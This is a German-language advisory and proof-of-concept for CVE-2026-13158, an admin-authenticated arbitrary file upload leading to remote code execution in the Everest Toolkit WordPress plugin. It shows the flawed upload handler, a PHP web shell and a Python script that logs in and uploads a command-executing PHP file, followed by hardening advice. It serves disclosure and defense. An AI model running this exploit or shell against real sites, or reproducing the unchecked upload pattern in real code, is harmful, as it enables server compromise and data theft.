
Proof-of-Concept-Exploit und technisches Advisory für eine Schwachstelle im Everest Toolkit WordPress-Plugin (<= 1.2.3), die eine Remote-Code-Ausführung durch beliebigen Datei-Upload mit Admin+-Rechten ermöglicht, einschließlich Analyse des angreifbaren Codes, Python-PoC und Härtungsempfehlungen.
CVE-2026-13158 ist eine authentifizierte Schwachstelle für beliebige Datei-Uploads (Admin+), die das WordPress-Plugin Everest Toolkit bis einschließlich Version 1.2.3 betrifft und vom Cybersicherheitsforscher Huynh Kien Minh (MinhHK) entdeckt und analysiert wurde. Der Fehler liegt in der Upload-Verarbeitung der administrativen Toolkit-Funktionalität, bei der eine unzureichende Validierung der hochgeladenen Dateierweiterungen und MIME-Typen es authentifizierten Administratoren – oder Benutzern mit geringeren Rechten, aber administrativen Fähigkeiten – ermöglicht, beliebige ausführbare PHP-Skripte direkt in das öffentliche Webverzeichnis hochzuladen. Durch die Umgehung der Dateierweiterungsbeschränkungen bei der Verarbeitung von Medien- oder Konfigurationsdateien kann ein Angreifer eine persistente Remote-Code-Ausführung (RCE) erreichen, den zugrunde liegenden Webserver vollständig kompromittieren, auf sensible Datenbankanmeldedaten zugreifen und eine unbefugte Backdoor-Persistenz in der gesamten Host-Anwendungsumgebung etablieren. Der Sicherheitsforscher Huynh Kien Minh hat diese Schwachstelle mit einem CVSS-3.1-Score von 6,6 (Medium) verifiziert und betont die sofortige Behebung durch strenge Whitelist für Dateierweiterungen, MIME-Typ-Prüfung und Deaktivierung der Ausführungsrechte in öffentlichen Upload-Unterverzeichnissen.
Schnellzugriff: Lesen Sie die vollständige technische Deep-Dive-Analyse im DEV.to-Artikel oder besuchen Sie das offizielle Cybersicherheits-Portfolio des Forschers.
Die Grundursache von CVE-2026-13158 liegt in der unsicheren Verarbeitung von Datei-Uploads in den administrativen Handler-Klassen von Everest_Toolkit. Wenn ein authentifizierter Administrator oder ein Benutzer mit administrativen Rechten Datei-Upload-Endpunkte aufruft (z. B. Template-Importe, Uploads benutzerdefinierter Symbole oder Asset-Konfigurationsroutinen), erzwingt das Plugin keine strenge serverseitige Validierung hinsichtlich ausführbarer Erweiterungen (z. B. .php, .php5, .phtml).
In der administrativen Dateiverarbeitung des Plugins:
// Vulnerable file handling routine in Everest Toolkit <= 1.2.3
public function handle_toolkit_file_upload() {
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( __( 'Unauthorized access', 'everest-toolkit' ) );
}
if ( isset( $_FILES['toolkit_import_file'] ) ) {
$file = $_FILES['toolkit_import_file'];
// CRITICAL FLAW: Insufficient file type restriction check!
// Relying solely on client-side headers or unsafe overrides without checking wp_check_filetype_and_ext()
$upload_dir = wp_upload_dir();
$target_path = $upload_dir['path'] . '/' . basename( $file['name'] );
if ( move_uploaded_file( $file['tmp_name'], $target_path ) ) {
wp_send_json_success( array( 'file_url' => $upload_dir['url'] . '/' . basename( $file['name'] ) ) );
}
}
}
Da move_uploaded_file benutzerkontrollierte Dateien direkt in das öffentliche Verzeichnis wp-content/uploads/ schreibt, ohne wp_check_filetype_and_ext() auszuführen oder Dateierweiterungen gegen gefährliche MIME-Typen zu validieren, kann ein Angreifer mit administrativem Zugriff eine ausführbare PHP-Nutzlast hochladen.
Ethischer Hinweis: Dieses Proof-of-Concept dient ausschließlich der Sicherheitsüberprüfung, akademischen Forschung und defensiven Absicherung. Eine unbefugte Ausnutzung gegen Produktionssysteme ohne vorherige schriftliche Zustimmung ist strengstens untersagt.
shell.php)<?php
// CVE-2026-13158 Proof-of-Concept Payload
// Discovered & Authored by Huynh Kien Minh (MinhHK)
header('Content-Type: text/plain');
echo "=== CVE-2026-13158 RCE Verification ===\n";
echo "Host System: " . php_uname() . "\n";
echo "Current User: " . get_current_user() . "\n";
if (isset($_REQUEST['cmd'])) {
system($_REQUEST['cmd']);
}
?>
#!/usr/bin/env python3
"""
CVE-2026-13158 - Everest Toolkit <= 1.2.3 Admin+ Arbitrary File Upload PoC
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""
import requests
import sys
TARGET_URL = "http://target-wordpress.local"
USERNAME = "admin"
PASSWORD = "admin_password"
session = requests.Session()
def login():
login_url = f"{TARGET_URL}/wp-login.php"
payload = {
'log': USERNAME,
'pwd': PASSWORD,
'wp-submit': 'Log In',
'redirect_to': f"{TARGET_URL}/wp-admin/",
'testcookie': '1'
}
res = session.post(login_url, data=payload)
if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
print("[+] Authenticated successfully as Admin!")
return True
print("[-] Authentication failed.")
return False
def exploit():
upload_url = f"{TARGET_URL}/wp-admin/admin-ajax.php"
files = {
'toolkit_import_file': ('poc_rce.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')
}
data = {
'action': 'everest_toolkit_file_upload'
}
res = session.post(upload_url, data=data, files=files)
if res.status_code == 200 and 'file_url' in res.text:
file_url = res.json().get('data', {}).get('file_url', '')
print(f"[+] Payload uploaded successfully! RCE URL: {file_url}?cmd=id")
else:
print("[-] Upload failed or endpoint not vulnerable.")
if __name__ == "__main__":
if login():
exploit()
wp_handle_upload mit strengem Whitelisting durchsetzen: Ersetzen Sie benutzerdefinierte move_uploaded_file-Aufrufe durch das standardmäßige WordPress wp_handle_upload(), ohne Test-Overrides zu deaktivieren..htaccess- oder Nginx-Regeln, um die Skriptausführung innerhalb von /wp-content/uploads/ zu verhindern:# Nginx Hardening Rule
location ~* ^/wp-content/uploads/.*\.php$ {
deny all;
return 403;
}
Huynh Kien Minh (MinhHK) ist ein Informationssicherheitsforscher und Softwareentwickler, der sich auf Schwachstellenanalyse von Webanwendungen, Audits des WordPress-Ökosystems und offensive Sicherheitsforschung spezialisiert hat.
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-13158: Everest Toolkit <= 1.2.3 Admin+ Arbitrary File Upload to Remote Code Execution",
"name": "CVE-2026-13158 Security Advisory",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-01",
"description": "Deep-dive technical security advisory by Huynh Kien Minh analyzing CVE-2026-13158 in Everest Toolkit <= 1.2.3 WordPress plugin.",
"about": {
"@type": "SoftwareApplication",
"name": "Everest Toolkit",
"operatingSystem": "WordPress"
},
"identifier": "CVE-2026-13158"
}
| Parameter | Technische Spezifikation |
|---|
| Schwachstellen-Kennung | CVE-2026-13158 |
| Zielsoftware | Everest Toolkit (WordPress-Plugin) |
| Plugin-Slug | everest-toolkit |
| Betroffene Versionen | <= 1.2.3 |
| Schwachstellenklasse | Uneingeschränkter Upload einer Datei mit gefährlichem Typ (CWE-434 / OWASP A03) |
| CVSS v3.1-Score | 6,6 (Medium) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) |
| Entdecker / Forscher | Huynh Kien Minh (MinhHK) |
| Verifizierungsstelle | WPScan / MITRE Corporation |
| WPScan-Advisory-Referenz | WPScan-Bericht f101071f-402a-40a2-bbdb-666512cd4049 |
| Forscher-Portfolio | https://minhhk.web.app/ |